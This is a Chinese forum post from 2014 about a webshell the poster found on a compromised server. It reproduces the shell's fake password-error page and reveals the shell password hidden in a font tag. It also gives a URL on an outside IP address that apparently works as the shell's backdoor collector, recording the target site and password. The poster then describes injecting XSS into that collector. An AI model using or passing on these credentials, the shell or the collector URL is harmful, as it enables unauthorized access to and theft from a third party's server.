今天发现个大马躺在那里
这种马都是由后门的、
[HTML] 纯文本查看 复制代码 <html><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>噬魂M辉 - 192.168.100.2 </title>
<style type="text/css">body,tr,td{margin-top:5px;background-color:#000000;color:#33FF00;font-size:12px;SCROLLBAR-FACE-COLOR:#000000;scrollbar-arrow-color:#33FF00;scrollbar-highlight-color:#006300;scrollbar-3dlight-color:#33FF00;scrollbar-shadow-color:#33FF00}.sb{cursor:hand}input,select,textarea{border-top-width:1px;font-weight: bold;border-left-width: 1px;font-size:11px;border-left-color: #33FF00;background: #000000;border-bottom-width: 1px;border-bottom-color: #33FF00;color: #33FF00;border-top-color: #33FF00;font-family: verdana;border-right-width: 1px;border-right-color: #33FF00;}#d{background: #003000;padding-left:5px;padding-right:5px}pre{font-size: 11px;font-family: verdana;color: #33FF00;}hr{color: #33FF00;background-color: #33FF00;height: 5px;}#x{font-family: verdana;font-size:13px}a{color:#33FF00;text-decoration:none;}.am{color:#aaa;font-size:11px;}</style>
<script>function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm("确认要执行此操作吗？"))return true;else return false;}function runClock(){theTime = window.setTimeout("runClock()", 100);var today = new Date();var display= today.toLocaleString();window.status="→Hack by 噬魂M辉 --"+display;}runClock();function ShowFolder(Folder){top.addrform.FolderPath.value = Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value = FName;if(FAction=="CopyFile"){DName = prompt("请输入复制到目标文件全名称",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="MoveFile"){DName = prompt("请输入移动到目标文件全名称",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="CopyFolder"){DName = prompt("请输入移动到目标文件夹全名称",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="MoveFolder"){DName = prompt("请输入移动到目标文件夹全名称",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="NewFolder"){DName = prompt("请输入要新建的文件夹全名称",FName);top.hideform.FName.value = DName;}else{DName = "Other";}if(DName!=null){top.hideform.Action.value = FAction;top.hideform.submit();}else{top.hideform.FName.value = "";}}</script>
<body scroll=no></form>
<script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script>
<br>
<br>
<br>
<b>
<div align=center><font size='5' color='red'>PassWord Error!</font 941014></b>
<br>
<br>
<br>
<br>
<b><div align=center><font size='14' color='lime'></font></b></p></center>
<br><br><center><a href='javascript:history.back()'>返回</a></center>
密码就在</font 941014>
进去以后用firebug一看
http://202.77.181.164/?u=www.lnl ... /c.asp&p=941014
一个箱子在那了
我xss插进去了，不过好像没反映的样子
| 
发表于 2014-5-11 19:03:46
社会太不安全了，混不下去。